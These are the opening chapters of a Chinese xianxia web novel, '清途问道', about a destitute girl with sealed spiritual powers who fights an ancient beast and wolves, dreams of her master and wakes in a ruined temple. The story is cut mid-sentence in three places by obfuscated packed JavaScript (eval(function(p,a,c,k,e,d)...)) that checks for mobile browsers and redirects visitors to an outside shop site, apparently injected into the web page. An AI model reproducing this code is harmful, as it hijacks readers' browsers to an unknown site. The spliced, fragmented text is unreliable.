《清途问道》 1. 青石巷晨曦惊残梦,破麻堆落难遇顽童 “走吧,阿泽,离开这里,别回首了。” “入世之后,藏起你的来路,封尽前尘过往,勿与外人言说分毫。” “要好好活下去,要好好长大。” “哪怕我们归于尘土,也会岁岁为你祈福,护你一生无虞。” …… 刺目的火光吞没了天穹,滚烫的气浪裹挟着砖石碎瓦冲天而起,将半边天幕映得如同白昼。四野之间,如有万千魑魅魍魉齐声尖啸,那声音凄厉刺耳,仿佛来自九幽地府,直教人肝胆俱裂。 昔日巍峨的沉渊宫在这炼狱般的烈火中轰然崩塌,白玉石阶碎作满地齑粉,风一吹便扬起一片惨白的尘雾;金漆匾额从高处坠落,砸入火海,溅起一蓬火星。 浓烟与灰烬交织翻涌,将一切辉煌、一切过往,尽数拖入那深不见底的渊薮之中。 所有声音越来越远,越来越轻。 所有光影越来越淡,越来越模糊。 一切的一切都被滔天的水声彻底吞没,沉入了无边无际的海底,归于沉寂。 . 三年后。 沧溟城,天水东街十三巷。 巷子不算宽敞,青石板路面被数十年的风雨与脚步磨得油光水滑,石缝里探出些不知名的青苔,湿漉漉地泛着暗绿。两侧店铺高低错落,门板上漆皮剥落了大半,露出底下灰白的木茬。褪了色的幡旗在午后的微风里懒洋洋地晃着,偶尔啪嗒一声打在竹竿上,又软塌塌地垂下去。 卖卤肉的八娘是个胖墩墩的妇人,腰里系着油渍麻花的围裙,手里一把大蒲扇有一下没一下地扇着苍蝇。 她那铺子前头,照例蹲了一排光着脚丫子的孩童,脏兮兮的脸蛋上糊着鼻涕和泥巴,大的不过七八岁,小的那个瞧着才刚会走,走路都还打晃,却也知道往人堆里扎。 这群孩子眼巴巴地盯着案板上那块油亮亮的猪头肉,眼珠子恨不能黏上去,小嘴微微张着,口水亮晶晶地挂在嘴角,时不时吸溜一声,又赶紧用黑乎乎的手背抹去。 八娘偶尔拿刀尖剔下一星半点碎肉渣子丢过去,那群孩子便像一窝麻雀似的哄抢起来,抢到的赶紧塞进嘴里,没抢到的便瘪着嘴,眼眶里蓄满了泪。 而在卤肉铺子的隔壁,那条阳光终日照不到的转角处,有一堆小山似的麻布堆在墙角。 麻布破旧不堪,上头沾着泥浆和不知名的污渍,远远瞧着像是哪家丢弃不要的破烂货。偶尔有几只绿头苍蝇嗡嗡地飞过来,在那堆麻布上盘旋几圈,又懒洋洋地飞走了。 那堆麻布似乎微微动了一下。 那动作极轻极轻,像是一阵风吹过带起的晃动,又像是底下压着什么活物,在睡梦中翻了个身。 外头便是人来人往的天水东街,叫卖声、谈笑声、孩童哭闹声此起彼伏,可若不是特意拐进这条窄巷,寻常人根本不会朝这个角落多看一眼。 脚步声稀稀疏疏地近了。 又近了。 下一瞬,一只脏兮兮的光脚丫子毫不客气地踹上了那团麻布。 “喂!还睡!都巳时了!猪啊你!” 麻布被踹得晃了晃,来人黑黢黢的眼睛紧盯着不放。盯了好一会儿,那麻布又纹丝不动了。 “……” 踹麻布的少年约莫十七八岁年纪,个头不高,堪堪五尺上下,一身粗布衣裳打满了大大小小的补丁,颜色早已洗得辨不出原本的模样。头发乱蓬蓬的,用一根不知从哪里捡来的麻绳胡乱扎了个髻,几缕碎发贴在额头上,被汗浸得油亮。脸上有道旧伤疤,斜斜划过眉尾,给他那张原本还算周正的脸平添了几分痞气。 巷子里的孩童都唤他虎哥,他是这一带有名的混混。 虎哥身后还跟着一个少年,年纪与他相仿,身量却矮了整整一截,瘦得像一根风干了的柴火棍。这少年颧骨高高耸起,两颊深深凹陷,一身补丁摞补丁的衣裳松垮垮地挂在身上,瞧着便是一副饥羸模样。 可他那两只眼珠子却骨碌碌地转个不停,眼白多、眼黑少,贼溜溜的,透着股子与长相全然不符的机灵劲儿。 这少年叫六子,跟了虎哥少说也有十来年了。 六子见虎哥皱起眉头,眼珠子一转,凑过去附在他耳边低语了几句。 虎哥的眉头顿时舒展开来,冲六子点了点头,嘴角露出一个赞许的笑。 六子得了令,转身一溜烟跑了个没影。 不多时,他便哼哧哼哧地提了一桶水回来。那水桶也不知是从哪个墙角捡来的破桶,箍桶的铁丝都锈透了,桶壁上豁着几道口子,水从缝隙里往外渗。 两人对视一眼,眼底都藏着坏笑。六子二话不说,提起水桶,对准那堆麻布,“哗啦”一声便泼了下去,水花四溅。 麻布被浇了个透湿,水流顺着布纹往下淌,在青石地面上洇开一大片深色的水渍。那几只原本在附近盘旋的苍蝇被水花一惊,嗡的一声四散飞去。 麻布底下的人终于有了动静。 先是一只瘦得几乎只剩皮包骨的手从麻布边缘探了出来。 那只手纤细得过分,指节根根分明,手背上青色的血管隐约可见,纵使指甲缝里嵌着泥垢,却掩不住那只手原本修长的形状。片刻后,麻布被人从底下掀开,露出一张年轻姑娘的脸。 姑娘瞧着约莫十五、六岁的年纪。 两颗又黑又大的眼珠子,嵌在她那张瘦削得几乎脱了相的脸上,显得格外醒目。眼底坠着两团浓重的乌青,唇色淡得几乎发白,下颌的线条伶仃清瘦,整个人透着一股子风吹就倒的单薄。 ——这姑娘姓景,单名一个泽字。 她在这沧溟城里已经流浪了整整三年。 三年里,她饥一顿饱一顿,夏睡巷口冬卧柴房,偶尔运气好能在酒楼后门捡着半碗剩饭,运气不好便只能灌一肚子凉水挨过去。 常年的饥馑让她营养不良得厉害,整个人瘦脱了相,若是换上一身体面衣裳,或许还能看出几分少女的姿容,可如今这副模样,与街头的小叫花子也没什么分别。 可偏偏是那双眼睛。 那双眼睛里还残存着几分锐利的光,像是藏在枯枝里的刀刃,平日里收敛着锋芒,可一旦被人触怒,那刀刃便会亮出来,叫人脊背发凉。 景泽揉着脑门坐起来,意识还残留在梦与醒的边界上。 方才那个梦又来了,火光、宫殿、那些支离破碎的声音,像潮水一样涌过来,又像潮水一样退去。 湿透的麻布贴在她身上,凉意顺着脊背往上爬,激得她打了个寒噤,彻底清醒了。 清醒过来的第一件事,便是盯住了方才泼水的六子。 无他。六子手里还提着那只水桶,正得意洋洋地朝虎哥挤眉弄眼,龇着一口黄牙,笑得跟偷了鸡的黄鼠狼似的。 六子正笑得欢,忽然觉得背后一凉。 景泽的目光像两把刀子似的扎过来,六子被那目光一刺,手里的水桶“咚”一声砸在地上,残水溅了他一裤腿。 “哈哈!妹妹!不是我!” 六子干笑着往后退,两只手在身前胡乱摆着,脚下却已经做好了开溜的准备。 “真不是我!我就是……我就是路过!路过!” 骗谁呢,景泽机灵着呢。 她猛地从麻布堆儿里跳起来,六子还没来得及转身,一只耳朵便被景泽揪了个正着。 只见她五指一拧,六子那张瘦脸上的五官顿时皱成了一团,疼得龇牙咧嘴,哎哟哎哟地叫唤起来,踉踉跄跄地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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六子像一条濒死的鱼,四肢疯狂扑腾,水花四溅,嘴里咕噜咕噜地往外冒泡: “虎哥……咕噜咕噜……救……咕噜咕噜……救我!虎……咕噜咕噜……虎哥快救救我啊!!” 蹲在街边看热闹的孩童们早一窝蜂围了上来,扒着缸沿踮脚张望,见状全都拍着手嗷嗷起哄: “淹得好!谁叫他之前偷东西!” “哈哈哈扑腾得跟落水的小耗子一样!” “姐姐太厉害啦!看他以后还敢来捣乱!” “快别憋啦!认错求饶呀!” 我的亲娘嘞!虎哥看得头皮发麻,心里暗暗叫苦,这世上怎么会有如此野蛮的女子! 他慌忙追上去,围着水缸团团打转,想伸手拉又不敢,想说话又怕惹恼了这女阎王,急得直跺脚。 “阿泽姐姐!阿泽姑奶奶!” 虎哥双手合十,一脸诚恳。 “你就饶了六子这回吧!只要你饶了他,我就告诉你一桩天大的好事!” 他说着,警惕地瞧了瞧四周,凑到景泽耳边,压低了声音,神神秘秘地吐出仨字:“能发财!” 叮——! 景泽那双满是倦意的黑眼睛里,瞬间亮起了光。 她手上力道一松,六子的脑袋从水里弹出来,大股空气猛地灌入他的肺里。 六子如获新生,从水缸边滑倒在地,扑过去一把抱住虎哥的大腿,嚎啕大哭,鼻涕眼泪糊了一脸。 景泽面色淡淡,在麻布衣上擦了擦手背上的水珠,挑起一边眉毛看向虎哥: “此话当真?” 2. 凶梼杌夜半惊林,饿狼群绝境封途 暮色自东岭汹涌而来,如万顷墨浪,顷刻间便淹过了山脊。一丸冷月悄没声地爬上穹顶,清辉似水,泻满千山万壑。 忽闻深林之内,隐隐传来几声狼嚎,悠长凄厉,在空谷间回荡不绝,一声方歇,一声又起,平添几分肃杀之气。 “虎哥,有狼叫……我害怕……” 六子缩着脖子,声音发抖,两只手紧紧拽着虎哥的衣角,每走一步都要回头看一眼身后越来越浓的黑暗。 “怕怕怕!怕个屁!” 虎哥嘴上硬气,声音却也不自觉地压低了,喉结上下滚了滚。 “你瞧人家阿泽姑娘,何曾皱过眉头?你一个大男人,这般胆怯,羞也不羞!好生学着点!” “呜……”六子呜咽着,把虎哥的衣角攥得更紧了。 虎哥被他拽得衣服都快扯破了,正要再骂他两句,忽然脚步一顿,脸色骤变,竖起一根手指压在唇上,声音压得极低:“嘘——!别出声!前面有东西!” 景泽也停下了脚步。三个人蹲在一丛灌木后面,大气都不敢出,眼睛一眨不眨地盯着前方,仿佛被什么东西镇住了。 夜风停了。虫鸣也停了。整片山林像是忽然陷入了死寂,只听得见三个人急促的心跳声,扑通,扑通,一声重过一声。 时间仿佛被无限拉长,长到他们蹲得脚都麻了,腿肚子直打颤,景泽才压低了声音,不确定地开口: “这……这就是你说的发财机会?抓猫?!” 虎哥“嗯”了一声。那一声嗯,声音微微发颤,底气虚得很。 景泽顺着他的目光看去,拨开灌木丛的缝隙。 只见距离他们仅仅几十丈开外的地方,有一块巨石横卧在山坡上。那石头少说也有数千斤重,通体青黑,边缘长满了厚厚的青苔。这本是一块寻常山石,可此刻,那石头上竟趴着一头庞然大物,将那数千斤的巨石压得像一块小馒头似的。 庞然大物正在酣睡,它的每一次呼气都带起一阵低沉的呼噜声,像远处滚过的闷雷。 景泽的瞳孔猛地收缩。 说好的猫上哪儿去了?! 仔细看去,那是一头形似猛虎、却又绝非猛虎的怪物。它浑身的毛发又长又密,根根竖起,色泽青黑,在月光下泛着冷森森的寒光,像是一身铁铸的铠甲。 最可怖的是它的脸。 那张脸并非虎豹之面,而是近似人面的轮廓,五官扭曲而狰狞,眉骨高高耸起,眼窝凹陷,鼻梁塌陷,嘴唇外卷,露出森白可怖的獠牙,猪牙似的支棱着。四足粗壮如柱,爪子像铁钩一般扣进石缝里,轻轻一收便有碎石簌簌落下。身后拖着一条又肥又长的尾巴,懒洋洋地搭在石头上,末端微微卷起,像是蛇的尾尖,在月光下泛着幽冷的鳞光。 景泽的心沉了下去。 她认出了这东西。 是梼杌。上古四凶之一的梼杌! 这东西在传说中力大无穷、凶残成性,寻常刀剑伤不了它分毫,便是修行有成的修士遇上了,也未必能全身而退。 如今它竟出现在这沧溟城外的荒山野岭之中,简直是天降横祸! 虎哥蹲得太久,两只脚已经蹲得没了知觉,索性一屁股坐到湿冷的泥地上。压着嗓子道:“阿泽姑娘,我虎哥是见你拳脚了得,才把这秘密告诉你的。换作别人,我还不说呢!这是多大的机缘!” 景泽的拳脚确实了得。 但也仅止于此了。 她如今周身灵脉被封,丹田里空空如也,一丝灵力也调动不起来,与一个凡人毫无分别。别说一个她,哪怕一百个她绑在一起,也绝不是这头上古凶兽的对手。 这哪里是机缘,这分明是催命符! 她心里又气又好笑,斜睨着虎哥,月光把她的脸照得发白:“什么意思?让我上?” 虎哥以为她是害怕,连忙给她壮胆,说得唾沫横飞:“你看啊,你只要把它逮住,再弄到红市上去卖,赚的钱几辈子都花不完!我听说那些达官贵人最爱收集这种稀罕物,活的更是天价!天价你懂不懂?偷着乐吧你!” 景泽沉默了好一阵子。 比起卖梼杌,她现在更想把眼前这两个傻叉卖了。他们也太看得起她了,当真是不知者无畏,连上古凶兽都敢打主意,也不怕把命搭进去。 “给你。”虎哥说着,果真从怀里摸出一个油纸包来,小心翼翼地打开,里头是一根鸡腿。那鸡腿是卤过的,油亮亮地泛着酱色,即便包在油纸里,那股子卤香味还是直往鼻子里钻。 虎哥把鸡腿递过来的时候,眼里满是依依不舍,喉结上下滚动了好几下,显然这鸡腿是他下了天大的决心才拿出来的。 “这是我早上在八娘铺子上顺来的鸡腿,你拿着去引它过来,再找机会下手!” “……”景泽真心为这两个二百五的脑子感到悲哀,拿鸡腿钓上古凶兽?怎么不说拿稻草钓鲸鱼?或者拿一颗枣钓蛟龙? 不过她确实饿了,腹中咕噜一声闷响,她接过鸡腿便往嘴边送。 “喂!” 虎哥眼疾手快,一把按住她的手,瞪大了眼睛。 “你干嘛!这鸡腿是用来钓猫的!不是给你吃的!” “……?!” “你看我像不像猫???” 景泽白了他一眼,不情不愿地把鸡腿重新包好,塞进腰间的斜挎包里。她已经整整半个月没沾过荤腥了,嘴里能淡出鸟来,眼下能落着一根鸡腿,这趟也不算白来。 至于钓猫? 这是她能办到的事吗? 景泽盯着那只大梼杌打量了好一会儿,夜风吹动她额前的碎发,露出一双沉静得过分的眼睛。 若是她灵脉未封,体内灵力充盈,倒是能与之一战,至少也能全身而退。可自从三年前她在沧溟城醒来,周身灵脉便尽数被封,任她如何冲撞也打不开。她如今的武力值,也就是打打街头的地痞流氓、爬爬树、上上房顶罢了。 说句掏心窝子的话,若是可以,她真想把这头大梼杌卖了换钱。 她真是受够了没钱花的日子,受够了睡麻袋,受够了翻剩饭,受够了被人像野狗一样赶来赶去。 下雨天巷口不能睡,她只能缩在别人的屋檐底下,雨水顺着瓦缝滴下来,把衣裳打得精湿;冬天更难熬,寒风像刀子一样往骨头缝里钻,她缩在柴房角落里,把麻布裹了一层又一层,还是冻得浑身发抖。 要是真能把这梼杌卖了…… 要不……试试? 总好过一直流浪,总好过居无定所,总好过食不果腹。 可是…… 景泽下意识地摸了摸垂在腰际的斜挎包,隔着粗布能感觉到那只木盒子方方正正的轮廓。那盒子不大,一掌见方,木料温润,是她三年前醒来时唯一带在身边的东西。 她不能死在这里。 赚钱嘛,来日方长,有的是机会,不一定非得抓着这只大梼杌不放。命只有一条,丢了可就什么都没了。 想到这里,景泽深吸一口气,压住心头那点蠢蠢欲动的不甘,干脆利落地说道: “回去吧。我不……” “……!!” 余下的话,硬生生卡在了喉咙里。 景泽刚转过身,整个人便僵住了。 只见方才还趴在前方巨石上睡觉的大梼杌,不知何时竟已悄无声息地出现在了她的身后,离她不过丈余! 那东西是什么时候醒的?是什么时候靠近的? 它那样庞大的身躯,移动起来竟没有发出一丝声响,连脚下的枯枝都没有踩断一根! 月光照在梼杌那张扭曲的人面上,将它的轮廓勾勒得清清楚楚。只见一双竖瞳在黑暗中泛着幽绿的光,像是两团鬼火,正目不转睛地盯着她。 其庞大的身躯挡住了月光,在她身上投下大片的阴影。那阴影像一座小山似的压过来,压得她几乎喘不过气。 四周好安静啊,她只听得见自己急促的心跳声,砰砰,砰砰,像鼓在胸腔里猛擂。 景泽下意识扭头去找虎哥和六子。 身后空空如也,那两个人早已不见了踪影。 灌木丛还在轻轻晃动,几片被碰落的叶子正缓缓飘下,落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494332|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在空荡荡的泥地上。周围没有血腥味,没有厮打的痕迹,泥土上只有两串仓皇逃窜的脚印,一路延伸进了黑暗里。 这俩怂货,八成是见势不妙,连滚带爬地跑了!! 景泽攥紧了拳头,指节捏得发白,骨节咯咯作响。 要是今天能活着回去,她非把虎哥和六子揍得满地找牙不可!一个都别想跑! 但眼下,先得活着。 未及她做出任何反应,那头凶兽已然动了。 它扑过来的动作快如雷霆,与它那笨重如山的体型全然不符。梼杌亮出锋利的爪牙,一掌拍下,裹挟着一股腥风。 景泽来不及多想,身体比脑子先动了。她猛地侧身,险之又险地避开了要害,可肩头还是被那一掌的余势扫中。 那一掌的力量大得惊人。 她整个人如同断线的纸鸢般飞了出去,耳边风声呼啸,眼前的景物天旋地转。紧接着,后背重重地撞上了一棵大树的树干,轰的一声闷响,震得整棵树都在簌簌发抖。树叶哗啦啦地落了一地,像是下了一场枯叶雨。 五脏六腑仿佛移了位,喉间瞬间涌上一股腥甜。她咬着牙硬是把那口血咽了回去,顺着树干滑坐下来。 眼前的景物一阵阵地发黑,耳中嗡嗡作响。 视线迷蒙中,她看见那头被激起了凶性的梼杌正发了狂般朝她奔来。每一步踏下,地面都随之颤动。 嘴角溢出的血迹顺着下巴滴落,景泽咬紧了牙关,撑着粗糙的树干站起来,膝盖止不住地打颤。她弯腰从地上抓起一块石头,用尽全身的力气朝对面掷去,随即转身拔腿就跑! 砰! 石头明明砸中了梼杌的额头,可那凶兽只是晃了晃脑袋,不但没造成伤害,反而更加暴怒,发出一声低沉的咆哮,震得林间的鸟雀惊飞而起,扑棱棱地四散逃命。 跑! 快跑! 断断不能被它追上,否则必死无疑! 足底枯枝断叶咔嚓作响,月光被她甩在身后,愈发黯淡。呼吸灼热如焚,心跳快欲炸裂,肺腑间满是铁锈般的血腥气。 但她不敢停下来。 绝不能停。 前面是一片伸手不见五指的深山老林,枝丫交错,密密匝匝地遮住了天幕,月光只能从枝叶的缝隙里漏下几缕,在地上投下斑驳的碎银。 乍一看,那林子宛如一张巨口,正等着她自投罗网。 躲进去……或许尚有生机? 可怕东西来了! 嗷呜——! 一声狼嚎自林中骤起。 紧接着,第二声,第三声。 嗷呜——!! 嗷呜——!!! 狼嚎声此起彼伏,从四面八方涌来,一声高过一声,像是在呼应,又像是在警告。那声音穿透了夜色,穿透了密林,直直地钻进她的耳朵里,让她浑身的汗毛都竖了起来。 须臾之间,前方草丛里,逐渐亮起了几十双泛着幽绿光芒的眼睛。 那些眼睛像是暗夜里忽然点亮的鬼火,忽明忽暗,随着低沉的呜咽声缓缓移动,在黑暗中围成一个半圆,从灌木丛后面、从树干背后、从草丛深处一齐望过来,幽幽地盯着她。 有狼群埋伏在前! 她不能再往前了。 怎么办?现在该怎么办? 景泽猛地刹住脚步。 头顶的枝叶太过茂密,遮尽了月光。身处绝对的黑暗之中,伸手不见五指,只能闻到泥土的腥气与落叶腐朽的甜腻味道。 她看不见身后的梼杌,却能清晰听见它粗重的喘息声。那声音近在咫尺,仿佛就贴着她的后颈。 空气中弥漫着浓烈的危险气息,景泽扶着粗糙的树干,心跳如战鼓。 她努力放轻呼吸,试图与黑暗融为一体。 可她的身体在发抖,从肩膀到指尖,从脊背到脚跟,都在细微地、不受控制地颤抖。 如今她与活靶子无异。 往前一步是狼群的尖牙。 退后一步是梼杌的利爪。 进退之间,皆是死路。 3. 幻境重逢广寒月,破庙惊坐锦衣郎 景泽五指深深嵌入树干,几欲扣下树皮来。她心知周遭无数双幽绿的眼睛正死死盯着她,只要她稍一动弹,狼群也好,梼杌也罢,都会扑上来将她撕成碎片。 汗珠大颗大颗滚落脸颊,后背的衣衫早已被冷汗浸透。 难道她当真要葬身于此? 她心念电转,右手探入挎包,指尖所及,除了一只巴掌大的木盒,便只剩那根没来得及吃的鸡腿。 木盒乃兄长遗物,便是死也不能丢。至于鸡腿,她心中苦笑,莫非老天要她做个饱死鬼? 正自懊恼间,忽然灵机一动。 她将手伸进斜挎包,一咬牙,猛地将鸡腿朝暗处一双眼睛掷了出去! 那鸡腿砸中野狼,野狼猛地一惊,霎时打破了林间的沉寂。狼群登时炸了锅,嗷嗷之声此起彼伏,十余头野狼争先恐后扑将过去,那骚动之大,连梼杌也被引动了。 只消片刻,景泽已攀上了树干。居高临下望去,月光之下,但见数十头野狼正团团围住一头巨兽。 那梼杌的体型胜过野狼十倍不止,形似虎而毛长如犬,人面虎足,獠牙外露,端的是凶恶异常。狼群虽众,却远非其敌手。 不多时,已有数头野狼被它咬断脖颈,血淋淋地倒在枯草间。 浓重的血腥气在林间弥散开来,盖过了她身上的气味。只要她不下树,一时半刻,梼杌倒也发觉不了她。 可她心中明白,野狼终究有限。待梼杌将狼群屠尽,下一个便轮到她。 那可是上古凶兽!她根本不是对手! 正思忖间,忽觉有什么东西落在腿上,凉丝丝的。抬头一看,借着月色,只见头顶悬着一颗糜烂的果实,正往下淌着腐水。 不过半盏茶的工夫,她的左腿忽然没了知觉! 景泽心中一惊,她认得此物,是半步果。皮肉触之即麻,连半步也迈不出;毒性极烈,可蔓延全身,短则半月,长则一生,全看所遇之果毒性几何。 她慌忙往后挪了挪,可一条腿已然全麻了。起效如此之快,看来这颗半步果的毒性非同小可。 她心中暗叹:怎地这般倒霉?遇上什么不好,偏遇上这催命的东西!这辈子莫非要落下残疾? 树下撕咬之声不绝于耳。此刻她也顾不上残不残疾了,便是要残,也得拖树下那些孽障垫背! 当下折断一截粗枝,又从衣摆上撕下一条细长的布条,将粗枝弯成弓形,两头系上布条,须臾间便制成了一把简陋的长弓。 此时梼杌又咬死了十几头野狼,剩余的狼群锐减,她须得加快手脚。 景泽又折下三枝枯枝,剔除多余旁杈,只留匀净修长的木杆作箭身,再借着脖间吊坠的锋刃反复磋磨木枝顶端,硬生生将枝头磨得尖峭如锋。 如此,三支简陋却凌厉的应急箭矢便已完成,虽算不上精良兵器,却足以搏得一线生机。 ——不,还差最后一步。 景泽将箭头探进半步果的腐肉之中,来回搅了几搅。 梼杌到底是上古凶兽,狼群已被它杀得七零八落,只剩下四头还活着。其余的不是被咬死,便是被吓破了胆,逃之夭夭。 那四头野狼此刻正围着梼杌周旋,目露凶光,死死盯着它,却也喘息不止。 而梼杌身上也好不到哪儿去,皮毛多处被撕破,尤其是那条又肥又长的尾巴,血肉模糊,连里面的白骨都露了出来。 双方都已力竭,都在等一个契机,以求一击毙敌。 而在它们的斜上方,一支箭矢悄然瞄准了梼杌尾部的伤裂之处。 景泽在等,等梼杌将最后几头野狼解决掉,她再开弓射杀梼杌。 头顶的月亮愈发明亮,时间一点一滴流逝。她腿上的毒性持续蔓延,下半身已然全无知觉。 便在此时,四头野狼忽然齐齐扑向梼杌,发起最后的猛攻。 它们扑上去拼命撕咬,梼杌也不甘示弱,挥动前掌狠狠拍击。一掌下去,一头野狼被拍飞出去,撞在树干上,骨头碎裂的声响在夜空中格外清晰。 景泽至始至终死死盯着梼杌的尾巴。 不过数息,四头野狼便只剩一头。 机会来了。 景泽手指猛地一松,蘸了半步果腐水的箭矢“嗤”的一声破空而出! 说时迟那时快,那头仅存的野狼竟在这千钧一发之际扑上去咬住了梼杌的尾巴!开弓没有回头箭,箭矢正中野狼的肚腹。 一股细长的热血飙射而出,野狼应声倒地。 梼杌何等警觉,立时环顾四周,鼻息粗重如风箱。 嗤! 又一支箭矢破空而去! 梼杌所立之处有树干遮挡,景泽看不清是否命中,只得咬牙拉弓射出第三支,也是最后一支箭矢。 嗤! 这一回,竟被梼杌生生躲了过去,因为它已然发现了景泽的所在! 景泽心头大骇,想要往树干更高处攀去,可她身中半步果之毒,毒性已蔓延至小腹,浑身酸软无力,哪里还爬得动! 梼杌冲到树下,疯狂地用利爪扒拉树干,整棵大树剧烈摇晃,枯叶簌簌而落。 景泽拼尽全力抱住树干,勉强稳住身形。眼见梼杌就要攀上来了,她索性抡起长弓,照准它的头颅猛砸下去! 一下,两下,三下…… 不知是否是错觉,她感觉梼杌的动作正逐渐迟缓。景泽奋力往树枝的另一端爬去,堪堪爬到枝梢之时,只听“咚”的一声闷响,梼杌竟直挺挺地坠落下去! “……?!” 景泽低头望去,只见那凶兽在树下挣扎扭动,却怎么也爬不起来,心中不由生疑。 凝神细看,这才发现梼杌尾部皮肉翻裂处,赫然插着她方才射出的第二支箭矢! 梼杌与她一般无二,都中了半步果的毒。再过些时候,它便会像她一样毒发全身,动弹不得。 梼杌既已制住,景泽这才觉出铺天盖地的疲惫。她靠在树干上,眼皮越来越沉,不知不觉便没了意识。 · 她坠入了一场绵长又真切的梦。 这场梦境太过真实,与往日所有幻梦都截然不同。梦里,她四肢百骸都漫散着倦意,半分力气也提不起,懒懒伏在一道宽阔温热的背脊上,任由那人缓步背着自己前行。 她已经太久太久,没有被人这样温柔地背着了。 记忆里遥远的儿时岁月翻涌上来。昔日师尊也曾这般背过她,那时她总觉得,师尊的后背是世间最安稳妥帖的归处,小小的身子趴上去,便满心安心,连时光都走得缓慢,每每都贪恋着不肯下来。 可惜,自兄长仙逝之后,她便再也无缘得见师尊。 身下之人背着她走了漫漫长路,脚步沉稳从容,自始至终,无半句怨言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494333|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心底漫上来的好奇缠上心头,景泽昏沉中轻轻抬手,指尖小心翼翼地描摹过那人深邃的眉眼,又软乎乎往下,拂过那人线条清绝的唇瓣。 可当她指尖决定接着往下探时,身下之人终是低低开了口,声线清泠,带着几分无奈的纵容: “别闹。” 那声音耳熟到极致,可梦境昏沉雾蒙,她绞尽脑汁,也想不起究竟于何处听过。 贪恋着这份难得的暖意,景泽轻轻收回手,侧脸软软贴在对方温热的肩背间,鼻尖蹭着清冽好闻的仙韵气。 “你的声音,真好听。”她迷迷糊糊道。 背上男子身形几不可察地微顿,似是心头骤然惊颤,转瞬便掩去了所有波澜,依旧步履平稳,继续往前缓步而行。 罢了。 有人这般妥帖地背着自己,已是绝境里难得的温柔,她又何须追根究底? 何况她身中未解的余毒,四肢虚软难行,连睁眼都觉费力,索性便阖上眼,安安心心地贴着这方安稳脊背,沉溺在这难得的暖意里。 又走过一段朦胧长路,身前之人的声音再次落下,破开漫漫长梦。 “到了。” 景泽迷迷糊糊掀开沉重的眼睫,眸光抬起的一瞬,整个人倏然怔住。 夜穹如墨,一弯冰月悬于万仞山巅,清辉漫洒,将天地间镀上一层冷冽的银白。月下,一座玲珑剔透的亭台拔地而起,飞檐翘角如雪鹤振翅,欲冲天而去;檐角悬着的冰灯泛着暖融融的光,将雕梁画栋间的冰纹照得愈发剔透。亭身以冰晶为骨,琉璃为窗,棂格间的雕花繁复精巧,似是千年寒玉精雕细琢而成。 往下看,白玉铺就的栈道自亭前蜿蜒而下,阶面上覆着一层薄冰,在月下泛着粼粼冷光。栈道悬于万丈深渊之上,下方垂落万千冰棱,长短错落,如水晶帘幕,被亭中灯火映得晶莹璀璨,晃得人目眩神迷。栈道旁,几株玉树凌寒而立,枝桠间缀满霜花。 这、这特么是广寒宫阙!是她师尊的住处啊! 那么,方才背她的人是—— 念头刚落,身后男子已然缓缓转过身来。 二人距离近得呼吸相缠,鼻尖险些相触。那张清绝冠世、足以倾倒三界众生的容颜,除却她尘封记忆里的师尊,世间再无第二人! 景泽望着他琥珀色的瞳仁,眸中清晰映出自己惊惶无措的模样,心口骤然紧缩。不等师尊薄唇轻启,她心神大乱,竟下意识从他背上仓促滚落下去,手肘磕在冰冷石面,传来一阵火辣辣的锐痛。 “喂!当心!你把蜡烛打翻了!”有人大喝一声。 待她从干草堆上坐起身来,这才发觉哪有什么广寒宫阙?眼前分明是一间破庙! 庙中没有供奉佛像,许是年岁太久,不论是案前的功德箱,还是香炉,都积满了厚厚的灰尘。低头看去,不远处,一支蜡烛滚落在地,已然熄灭。 “……” 坐在前面蒲团上的是一个男子。他起身捡起地上被打翻的蜡烛,重新点燃。 只见这人身着石青妆花缎圆领袍,腰束玉带镶红宝,头戴玉冠,足蹬云头锦靴,身量甚高,年岁与她相仿。凑近了看,五官生得很是标致,尤其是那双眼睛,亮若星辰。 景泽素来喜爱好看的人,见了这男子,不由多看了两眼,这才问出她最关心的话来: “我为何会身在此地?阁下是谁?” 4. 破庙夜话逢贵友,暗色独窥堕仙人 残烛爆了个火花,噼啪一声,惊得梁上灰尘簌簌而落。 那男子一屁股坐回蒲团,随手将手中那柄半旧的折扇“唰”地展开,笑道:“妹妹,这话该我问你才是。三日前我入此庙避雨,你便已躺在此处了,唤之不醒,口中还一口一个‘师尊’地叫着,那叫一个情真意切、撕心裂肺。不知道的,还以为是哪个负心汉把你给甩了。” 说着,他那亮晶晶的眼睛便如两盏灯笼似的,在景泽身上上下下打量起来。 “师尊?”他歪了歪头,拖长了语调,“怪哉怪哉,我瞧你脉象平平,瘦得跟猴儿似的,浑身上下找不出半两灵气,殊不似什么修行之人。莫非我听岔了?不能罢?我这般年纪轻轻,耳聪目明,身姿挺拔,气宇轩昂,风华绝代,聪慧过人,岂有听错之理?还是说……” 